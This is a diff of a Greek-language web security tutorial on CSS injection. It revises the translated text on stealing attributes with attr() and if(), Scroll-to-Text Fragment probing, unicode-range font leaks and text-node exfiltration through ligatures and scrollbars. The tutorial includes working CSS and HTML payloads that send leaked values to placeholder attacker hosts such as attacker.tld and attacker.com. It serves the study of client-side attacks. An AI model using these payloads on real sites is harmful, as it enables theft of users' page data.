- Read: αντιγράψε το attribute σε μια CSS μεταβλητή: `--val: attr(title)`.
|
||||
- Decide: επίλεξε ένα URL χρησιμοποιώντας nested conditionals που συγκρίνουν τη μεταβλητή με string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: εφάρμοσε `background: image-set(var(--steal))` (ή οποιαδήποτε fetching property) για να αναγκάσεις ένα request στο επιλεγμένο endpoint.
|
||||
- Sink: έλεγχος του style attribute ενός στοιχείου και βεβαιωθείτε ότι το target attribute βρίσκεται στο ίδιο στοιχείο (η attr() διαβάζει μόνο attributes του ίδιου στοιχείου).
|
||||
- Read: αντιγράψτε το attribute σε μια CSS μεταβλητή: `--val: attr(title)`.
|
||||
- Decide: επιλέξτε ένα URL χρησιμοποιώντας nested conditionals που συγκρίνουν τη μεταβλητή με string υποψήφιους: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: εφαρμόστε `background: image-set(var(--steal))` (ή οποιαδήποτε fetching property) για να αναγκάσετε ένα request προς το επιλεγμένο endpoint.
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
@ -119,28 +119,28 @@ Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
Απαρίθμηση τιμών ιδιοτήτων με εμφωλευμένες συνθήκες:
|
||||
Απαρίθμηση τιμών χαρακτηριστικών με εμφωλευμένες συνθήκες:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
Ρεαλιστική επίδειξη (ανίχνευση ονομάτων χρήστη):
|
||||
Ρεαλιστική επίδειξη (probing usernames):
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
Σημειώσεις και περιορισμοί:
|
||||
|
||||
- Λειτουργεί σε Chromium-based browsers κατά τη στιγμή της έρευνας· η συμπεριφορά μπορεί να διαφέρει σε άλλους engines.
|
||||
- Κατάλληλο κυρίως για finite/enumerable value spaces (IDs, flags, short usernames). Το να κλαπεί αυθαίρετα μεγάλα strings χωρίς εξωτερικά stylesheets παραμένει δύσκολο.
|
||||
- Οποιαδήποτε CSS ιδιότητα που fetch ένα URL μπορεί να χρησιμοποιηθεί για να ενεργοποιήσει το request (π.χ., background/image-set, border-image, list-style, cursor, content).
|
||||
- Λειτουργεί σε περιηγητές βασισμένους σε Chromium τη στιγμή της έρευνας· η συμπεριφορά μπορεί να διαφέρει σε άλλες μηχανές.
|
||||
- Κατάλληλο κυρίως για πεπερασμένους/μετρήσιμους χώρους τιμών (IDs, flags, short usernames). Η κλοπή αυθαίρετα μεγάλων συμβολοσειρών χωρίς εξωτερικά stylesheets παραμένει δύσκολη.
|
||||
- Οποιαδήποτε ιδιότητα CSS που αντλεί ένα URL μπορεί να χρησιμοποιηθεί για να ενεργοποιήσει το αίτημα (π.χ., background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Αυτοματοποίηση: μια Burp Custom Action μπορεί να δημιουργήσει nested inline-style payloads για brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
Αυτοματοποίηση: ένα Burp Custom Action μπορεί να δημιουργήσει nested inline-style payloads για να brute-force τις τιμές των attributes: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Άλλοι selectors
|
||||
|
||||
Άλλοι τρόποι πρόσβασης σε μέρη του DOM με **CSS selectors**:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: Αυτό θα αναζητήσει το δεύτερο item με class "class-to-search" στο DOM.
|
||||
- **`:empty`** selector: Χρησιμοποιείται, για παράδειγμα, στο [**this writeup**]**:**
|
||||
- **`.class-to-search:nth-child(2)`**: Αυτό θα αναζητήσει το δεύτερο στοιχείο με κλάση "class-to-search" στο DOM.
|
||||
- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -148,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### XS-Search βάσει σφαλμάτων
|
||||
### Error based XS-Search
|
||||
|
||||
**Αναφορά:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
Ο γενικός σκοπός είναι να **χρησιμοποιηθεί ένα custom font από ένα ελεγχόμενο endpoint** και να διασφαλιστεί ότι **το κείμενο (στην προκειμένη περίπτωση, 'A') εμφανίζεται με αυτή τη γραμματοσειρά μόνο αν ο συγκεκριμένος πόρος (`favicon.ico`) δεν μπορεί να φορτωθεί**.
|
||||
Ο γενικός σκοπός είναι να **χρησιμοποιηθεί μια προσαρμοσμένη γραμματοσειρά από ένα ελεγχόμενο endpoint** και να διασφαλιστεί ότι **το κείμενο (σε αυτή την περίπτωση, 'A') εμφανίζεται με αυτή τη γραμματοσειρά μόνο εάν ο συγκεκριμένος πόρος (`favicon.ico`) δεν μπορεί να φορτωθεί**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -174,49 +174,49 @@ font-family: "poc";
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **Χρήση προσαρμοσμένης γραμματοσειράς**:
|
||||
1. **Χρήση Προσαρμοσμένης Γραμματοσειράς**:
|
||||
|
||||
- Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα `@font-face` μέσα σε ένα `<style>` tag στην ενότητα `<head>`.
|
||||
- Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα `@font-face` μέσα σε μια `<style>` ετικέτα στην ενότητα `<head>`.
|
||||
- Η γραμματοσειρά ονομάζεται `poc` και ανακτάται από ένα εξωτερικό endpoint (`http://attacker.com/?leak`).
|
||||
- Η ιδιότητα `unicode-range` ορίζεται σε `U+0041`, στοχεύοντας τον συγκεκριμένο χαρακτήρα Unicode 'A'.
|
||||
|
||||
2. **Στοιχείο Object με Κείμενο Εφεδρείας**:
|
||||
- Ένα `<object>` στοιχείο με `id="poc0"` δημιουργείται στην ενότητα `<body>`. Το στοιχείο αυτό προσπαθεί να φορτώσει έναν πόρο από `http://192.168.0.1/favicon.ico`.
|
||||
- Το `font-family` για αυτό το στοιχείο έχει οριστεί σε `'poc'`, όπως ορίζεται στην ενότητα `<style>`.
|
||||
- Εάν ο πόρος (`favicon.ico`) αποτύχει να φορτωθεί, το εφεδρικό περιεχόμενο (το γράμμα 'A') μέσα στο `<object>` tag εμφανίζεται.
|
||||
2. **Στοιχείο Object με Εφεδρικό Κείμενο**:
|
||||
- Ένα στοιχείο `<object>` με `id="poc0"` δημιουργείται στην ενότητα `<body>`. Αυτό το στοιχείο προσπαθεί να φορτώσει έναν πόρο από `http://192.168.0.1/favicon.ico`.
|
||||
- Η ιδιότητα `font-family` για αυτό το στοιχείο ορίζεται σε `'poc'`, όπως ορίζεται στην ενότητα `<style>`.
|
||||
- Εάν ο πόρος (`favicon.ico`) δεν φορτωθεί, το εφεδρικό περιεχόμενο (το γράμμα 'A') εντός του `<object>` εμφανίζεται.
|
||||
- Το εφεδρικό περιεχόμενο ('A') θα αποδοθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά `poc` εάν ο εξωτερικός πόρος δεν μπορεί να φορτωθεί.
|
||||
|
||||
### Στυλιζάρισμα Scroll-to-Text Fragment
|
||||
### Στυλ για το Scroll-to-Text Fragment
|
||||
|
||||
Η ψευδο-κλάση **`:target`** χρησιμοποιείται για να επιλέξει ένα στοιχείο που στοχεύεται από ένα **URL fragment**, όπως καθορίζεται στην [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Είναι σημαντικό να κατανοήσουμε ότι το `::target-text` δεν ταιριάζει με κανένα στοιχείο εκτός αν το κείμενο στοχευθεί ρητά από το fragment.
|
||||
Η **`:target`** pseudo-class χρησιμοποιείται για να επιλέξει ένα στοιχείο που στοχεύεται από ένα **URL fragment**, όπως ορίζεται στην [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Είναι κρίσιμο να κατανοήσουμε ότι το `::target-text` δεν ταιριάζει με κανένα στοιχείο εκτός εάν το κείμενο στοχεύεται ρητά από το fragment.
|
||||
|
||||
Προκύπτει ένα ζήτημα ασφάλειας όταν επιτιθέμενοι εκμεταλλεύονται τη λειτουργία **Scroll-to-text** fragment, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα φορτώνοντας έναν πόρο από τον server τους μέσω HTML injection. Η μέθοδος περιλαμβάνει την έγχυση ενός CSS κανόνα όπως ο εξής:
|
||||
Προκύπτει ένα ζήτημα ασφάλειας όταν επιτιθέμενοι εκμεταλλεύονται τη λειτουργία του **Scroll-to-text** fragment, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα φορτώνοντας έναν πόρο από τον server τους μέσω HTML injection. Η μέθοδος περιλαμβάνει την έγχυση ενός CSS κανόνα όπως ο ακόλουθος:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
Σε τέτοια σενάρια, αν το κείμενο "Διαχειριστής" υπάρχει στη σελίδα, ο πόρος `target.png` ζητείται από τον διακομιστή, υποδεικνύοντας την παρουσία του κειμένου. Μια περίπτωση αυτής της επίθεσης μπορεί να εκτελεστεί μέσω ενός ειδικά κατασκευασμένου URL που ενσωματώνει το εγχυμένο CSS μαζί με ένα Scroll-to-text fragment:
|
||||
Σε τέτοια σενάρια, εάν το κείμενο "Administrator" υπάρχει στη σελίδα, ο πόρος `target.png` ζητείται από τον διακομιστή, υποδεικνύοντας την παρουσία του κειμένου. Μια περίπτωση αυτής της επίθεσης μπορεί να εκτελεστεί μέσω ενός ειδικά κατασκευασμένου URL που ενσωματώνει το injected CSS μαζί με ένα Scroll-to-text fragment:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Εδώ, η επίθεση χειρίζεται HTML injection για να μεταδώσει τον CSS κώδικα, στοχεύοντας το συγκεκριμένο κείμενο "Administrator" μέσω του Scroll-to-text fragment (`#:~:text=Administrator`). Αν βρεθεί το κείμενο, ο υποδεικνυόμενος πόρος φορτώνεται, σηματοδοτώντας άθελά του την παρουσία του στον επιτιθέμενο.
|
||||
Εδώ, η επίθεση χειρίζεται HTML injection για να μεταδώσει τον CSS κώδικα, στοχεύοντας στο συγκεκριμένο κείμενο "Administrator" μέσω του Scroll-to-text fragment (`#:~:text=Administrator`). Αν το κείμενο βρεθεί, ο υποδεικνυόμενος πόρος φορτώνεται, άθελά του υποδεικνύοντας την παρουσία του στον attacker.
|
||||
|
||||
Για την μετρίαση, πρέπει να σημειωθούν τα παρακάτω:
|
||||
Για την αντιμετώπιση, πρέπει να σημειωθούν τα εξής:
|
||||
|
||||
1. **Constrained STTF Matching**: Το Scroll-to-text Fragment (STTF) έχει σχεδιαστεί να αντιστοιχίζει μόνο λέξεις ή προτάσεις, περιορίζοντας έτσι την ικανότητά του να leak αυθαίρετα μυστικά ή tokens.
|
||||
2. **Restriction to Top-level Browsing Contexts**: Το STTF λειτουργεί μόνο σε top-level browsing contexts και δεν λειτουργεί μέσα σε iframes, καθιστώντας οποιαδήποτε προσπάθεια εκμετάλλευσης πιο εμφανή στον χρήστη.
|
||||
3. **Necessity of User Activation**: Το STTF απαιτεί μια user-activation gesture για να λειτουργήσει, που σημαίνει ότι οι εκμεταλλεύσεις είναι δυνατές μόνο μέσω πλοηγήσεων που ξεκινά ο χρήστης. Αυτό το απαίτημα μειώνει σημαντικά τον κίνδυνο οι επιθέσεις να αυτοματοποιηθούν χωρίς αλληλεπίδραση χρήστη. Ωστόσο, ο συγγραφέας του blog post επισημαίνει συγκεκριμένες συνθήκες και bypasses (π.χ. social engineering, interaction with prevalent browser extensions) που μπορεί να διευκολύνουν την αυτοματοποίηση της επίθεσης.
|
||||
1. **Constrained STTF Matching**: Το Scroll-to-text Fragment (STTF) έχει σχεδιαστεί να ταιριάζει μόνο λέξεις ή προτάσεις, περιορίζοντας έτσι την ικανότητά του να leak αυθαίρετα secrets ή tokens.
|
||||
2. **Restriction to Top-level Browsing Contexts**: Το STTF λειτουργεί αποκλειστικά σε top-level browsing contexts και δεν λειτουργεί μέσα σε iframes, κάνοντας κάθε exploitation attempt πιο εμφανή στον user.
|
||||
3. **Necessity of User Activation**: Το STTF απαιτεί ένα user-activation gesture για να λειτουργήσει, που σημαίνει ότι οι exploitations είναι δυνατές μόνο μέσω user-initiated navigations. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο οι attacks να αυτοματοποιηθούν χωρίς user interaction. Παρ' όλα αυτά, ο συγγραφέας του blog post επισημαίνει συγκεκριμένες συνθήκες και bypasses (π.χ. social engineering, αλληλεπίδραση με διαδεδομένα browser extensions) που μπορεί να διευκολύνουν την automation της επίθεσης.
|
||||
|
||||
Η επίγνωση αυτών των μηχανισμών και των πιθανών ευπαθειών είναι κρίσιμη για τη διατήρηση της ασφάλειας στο web και για την προστασία ενάντια σε τέτοιες εκμεταλλευτικές τακτικές.
|
||||
Η ευαισθητοποίηση για αυτούς τους μηχανισμούς και τις πιθανές ευπάθειες είναι κρίσιμη για τη διατήρηση της web security και την προστασία από τέτοιες εκμεταλλευτικές τακτικές.
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε την πρωτότυπη αναφορά: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Μπορείτε να δείτε ένα [**exploit που χρησιμοποιεί αυτή την τεχνική για CTF εδώ**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Μπορείτε να δείτε ένα [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Μπορείτε να καθορίσετε **εξωτερικές γραμματοσειρές για συγκεκριμένες unicode τιμές** που θα συλλεχθούν μόνο εάν αυτές οι unicode τιμές είναι παρούσες στη σελίδα. Για παράδειγμα:
|
||||
Μπορείτε να καθορίσετε **εξωτερικές γραμματοσειρές για συγκεκριμένες τιμές unicode** που θα μόνο **συλλεχθούν αν αυτές οι τιμές unicode υπάρχουν** στη σελίδα. Για παράδειγμα:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -242,25 +242,25 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
Όταν ανοίγετε αυτή τη σελίδα, Chrome και Firefox κάνουν fetch "?A" και "?B" επειδή το text node του sensitive-information περιέχει τους χαρακτήρες "A" και "B". Αλλά Chrome και Firefox δεν κάνουν fetch "?C" επειδή δεν περιέχει "C". Αυτό σημαίνει ότι καταφέραμε να διαβάσουμε "A" και "B".
|
||||
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Αναφορά:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
Η τεχνική που περιγράφεται αφορά την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη font ligatures και την παρακολούθηση αλλαγών στο πλάτος. Η διαδικασία περιλαμβάνει αρκετά βήματα:
|
||||
Η τεχνική που περιγράφεται περιλαμβάνει την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη font ligatures και την παρακολούθηση αλλαγών στο width. Η διαδικασία περιλαμβάνει τα εξής βήματα:
|
||||
|
||||
1. **Δημιουργία προσαρμοσμένων γραμματοσειρών**:
|
||||
1. **Creation of Custom Fonts**:
|
||||
|
||||
- Δημιουργούνται SVG fonts με glyphs που έχουν το attribute `horiz-adv-x`, το οποίο ορίζει μεγάλο πλάτος για ένα glyph που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων.
|
||||
- Παράδειγμα SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, όπου "XY" δηλώνει μια ακολουθία δύο χαρακτήρων.
|
||||
- Αυτές οι γραμματοσειρές στη συνέχεια μετατρέπονται σε woff format χρησιμοποιώντας fontforge.
|
||||
- Δημιουργούνται SVG fonts με glyphs που έχουν το attribute `horiz-adv-x`, το οποίο θέτει μεγάλο width για ένα glyph που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων.
|
||||
- Παράδειγμα SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, όπου "XY" δηλώνει ακολουθία δύο χαρακτήρων.
|
||||
- Αυτά τα fonts μετατρέπονται σε woff χρησιμοποιώντας fontforge.
|
||||
|
||||
2. **Ανίχνευση αλλαγών στο πλάτος**:
|
||||
2. **Detection of Width Changes**:
|
||||
|
||||
- Το CSS χρησιμοποιείται ώστε το κείμενο να μην τυλίγεται (`white-space: nowrap`) και για την προσαρμογή του στυλ του scrollbar.
|
||||
- Η εμφάνιση ενός οριζόντιου scrollbar, στιλιζαρισμένου με διακριτό τρόπο, λειτουργεί ως δείκτης (oracle) ότι ένα συγκεκριμένο ligature, και κατά συνέπεια μια συγκεκριμένη ακολουθία χαρακτήρων, είναι παρούσα στο κείμενο.
|
||||
- Το σχετικό CSS:
|
||||
- Χρησιμοποιείται CSS για να αποφευχθεί το wrapping του κειμένου (`white-space: nowrap`) και για να προσαρμοστεί το style του scrollbar.
|
||||
- Η εμφάνιση ενός οριζόντιου scrollbar, με ξεχωριστό styling, λειτουργεί ως δείκτης (oracle) ότι ένα συγκεκριμένο ligature — και επομένως μια συγκεκριμένη ακολουθία χαρακτήρων — υπάρχει στο κείμενο.
|
||||
- The CSS involved:
|
||||
```css
|
||||
body {
|
||||
white-space: nowrap;
|
||||
@ -273,30 +273,30 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **Διαδικασία exploit**:
|
||||
3. **Exploit Process**:
|
||||
|
||||
- **Step 1**: Δημιουργούνται fonts για ζευγάρια χαρακτήρων με μεγάλο πλάτος.
|
||||
- **Step 2**: Χρησιμοποιείται ένα τεχνικό κόλπο με το scrollbar για να ανιχνευθεί πότε το glyph με το μεγάλο πλάτος (ligature για ένα ζευγάρι χαρακτήρων) αποδίδεται, υποδεικνύοντας την παρουσία της ακολουθίας χαρακτήρων.
|
||||
- **Step 3**: Μετά τον εντοπισμό ενός ligature, δημιουργούνται καινούργια glyphs που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το εντοπισμένο ζευγάρι και προσθέτοντας έναν προηγούμενο ή επόμενο χαρακτήρα.
|
||||
- **Step 4**: Γίνεται ανίχνευση του ligature για την τριχαρακτη ακολουθία.
|
||||
- **Step 5**: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας σταδιακά ολόκληρο το κείμενο.
|
||||
- **Step 1**: Δημιουργούνται fonts για ζευγάρια χαρακτήρων με μεγάλο width.
|
||||
- **Step 2**: Χρησιμοποιείται ένα scrollbar-based trick για να ανιχνευθεί πότε το μεγάλο-width glyph (ligature για το ζευγάρι χαρακτήρων) αποδίδεται, υποδεικνύοντας την παρουσία της ακολουθίας χαρακτήρων.
|
||||
- **Step 3**: Μετά την ανίχνευση ενός ligature, γίνονται νέες glyphs που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το ανιχνευμένο ζευγάρι και προσθέτοντας έναν προηγούμενο ή επακόλουθο χαρακτήρα.
|
||||
- **Step 4**: Γίνεται ανίχνευση του ligature τριών χαρακτήρων.
|
||||
- **Step 5**: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας προοδευτικά όλο το κείμενο.
|
||||
|
||||
4. **Βελτιστοποίηση**:
|
||||
4. **Optimization**:
|
||||
- Η τρέχουσα μέθοδος αρχικοποίησης με `<meta refresh=...` δεν είναι ιδανική.
|
||||
- Μια πιο αποδοτική προσέγγιση θα μπορούσε να χρησιμοποιήσει το κόλπο `@import` στο CSS, βελτιώνοντας την απόδοση του exploit.
|
||||
- Μια πιο αποδοτική προσέγγιση θα μπορούσε να περιλαμβάνει το CSS `@import` trick, βελτιώνοντας την απόδοση του exploit.
|
||||
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Αναφορά:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
|
||||
Αυτό το trick δημοσιοποιήθηκε σε αυτό το [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Το charset που χρησιμοποιείται σε ένα text node μπορεί να γίνει leaked χρησιμοποιώντας τα default fonts εγκατεστημένα στον browser: δεν χρειάζονται external ή custom fonts.
|
||||
|
||||
Η ιδέα στηρίζεται στη χρήση μιας animation που επεκτείνει σταδιακά το πλάτος ενός `div`, επιτρέποντας έναν χαρακτήρα τη φορά να μετατοπίζεται από το 'suffix' μέρος του κειμένου στο 'prefix' μέρος. Αυτή η διαδικασία χωρίζει ουσιαστικά το κείμενο σε δύο τμήματα:
|
||||
Η ιδέα βασίζεται στη χρήση ενός animation που επεκτείνει σταδιακά το width ενός `div`, επιτρέποντας έναν χαρακτήρα κάθε φορά να μεταβεί από το 'suffix' στο 'prefix'. Αυτή η διαδικασία χωρίζει το κείμενο σε δύο τμήματα:
|
||||
|
||||
1. Prefix: The initial line.
|
||||
2. Suffix: The subsequent line(s).
|
||||
1. Prefix: Η αρχική γραμμή.
|
||||
2. Suffix: Η/οι επόμενες γραμμή/ές.
|
||||
|
||||
Τα στάδια μετάβασης των χαρακτήρων θα εμφανίζονταν ως εξής:
|
||||
Τα στάδια της μετάβασης των χαρακτήρων θα εμφανίζονται ως εξής:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -309,15 +309,15 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
Κατά τη διάρκεια αυτής της μετάβασης, το **unicode-range trick** χρησιμοποιείται για να εντοπιστεί κάθε νέος χαρακτήρας καθώς ενώνεται με το prefix. Αυτό επιτυγχάνεται αλλάζοντας τη γραμματοσειρά σε Comic Sans, η οποία είναι σημαντικά ψηλότερη από την προεπιλεγμένη γραμματοσειρά, με αποτέλεσμα να ενεργοποιείται ένας κατακόρυφος scrollbar. Η εμφάνιση αυτού του scrollbar αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο prefix.
|
||||
Κατά τη διάρκεια αυτής της μετάβασης, χρησιμοποιείται το unicode-range trick για να αναγνωριστεί κάθε νέος χαρακτήρας καθώς ενώνεται με το prefix. Αυτό επιτυγχάνεται αλλάζοντας το font σε Comic Sans, που είναι αισθητά ψηλότερο από το default font, προκαλώντας έτσι την εμφάνιση ενός vertical scrollbar. Η εμφάνιση αυτού του scrollbar αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο prefix.
|
||||
|
||||
Αν και αυτή η μέθοδος επιτρέπει τον εντοπισμό μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν προσδιορίζει ποιος χαρακτήρας επαναλαμβάνεται — μόνο ότι έχει συμβεί επανάληψη.
|
||||
Παρόλο που αυτή η μέθοδος επιτρέπει την ανίχνευση μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν προσδιορίζει ποιος χαρακτήρας επαναλαμβάνεται — μόνο ότι έχει συμβεί επανάληψη.
|
||||
|
||||
> [!TIP]
|
||||
> Βασικά, το **unicode-range is used to detect a char**, αλλά καθώς δεν θέλουμε να φορτώσουμε μια εξωτερική γραμματοσειρά, πρέπει να βρούμε έναν άλλο τρόπο.\
|
||||
> Όταν ο **char** βρεθεί, του δίνεται η προεγκατεστημένη **Comic Sans font**, που **κάνει** τον char **μεγαλύτερο** και **προκαλεί ένα scroll bar** το οποίο θα **leak the found char**.
|
||||
> Βασικά, το **unicode-range is used to detect a char**, αλλά καθώς δεν θέλουμε να φορτώσουμε ένα εξωτερικό font, πρέπει να βρούμε άλλη λύση.\
|
||||
> Όταν ο **char** βρεθεί, του δίνεται το προεγκατεστημένο **Comic Sans font**, που κάνει τον **char** μεγαλύτερο και ενεργοποιεί ένα scroll bar το οποίο θα **leak the found char**.
|
||||
|
||||
Check the code extracted from the PoC:
|
||||
Δείτε τον κώδικα που εξήχθη από το PoC:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face {
|
||||
@ -742,17 +742,17 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Text node exfiltration (III): leaking the charset με προεπιλεγμένη γραμματοσειρά κρύβοντας στοιχεία (χωρίς να απαιτούνται εξωτερικά assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτό το writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Αναφορά:** Αυτό αναφέρεται ως [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο εδώ ο στόχος του να κάνουν συγκεκριμένους **χαρακτήρες μεγαλύτερους από άλλους για να κρύψουν κάτι** όπως ένα κουμπί ώστε το bot να μην το πατήσει ή μια εικόνα που δεν θα φορτωθεί. Έτσι μπορούμε να μετρήσουμε τη δράση (ή την έλλειψη της δράσης) και να ξέρουμε αν ένας συγκεκριμένος χαρακτήρας υπάρχει μέσα στο κείμενο.
|
||||
Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο εδώ ο στόχος του να γίνουν συγκεκριμένοι **χαρακτήρες πιο μεγάλοι από άλλους ώστε να κρυφτεί κάτι** είναι για να κρυφτεί κάτι όπως ένα κουμπί ώστε να μην πατηθεί από το bot ή μια εικόνα που δεν θα φορτωθεί. Έτσι μπορούμε να μετρήσουμε τη δράση (ή την έλλειψη της δράσης) και να ξέρουμε αν ένας συγκεκριμένος χαρακτήρας υπάρχει μέσα στο κείμενο.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτό το writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Αναφορά:** Αυτό αναφέρεται ως [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Σε αυτήν την περίπτωση, μπορούμε να προσπαθήσουμε να leak αν ένας χαρακτήρας υπάρχει στο κείμενο φορτώνοντας μια fake font από την ίδια origin:
|
||||
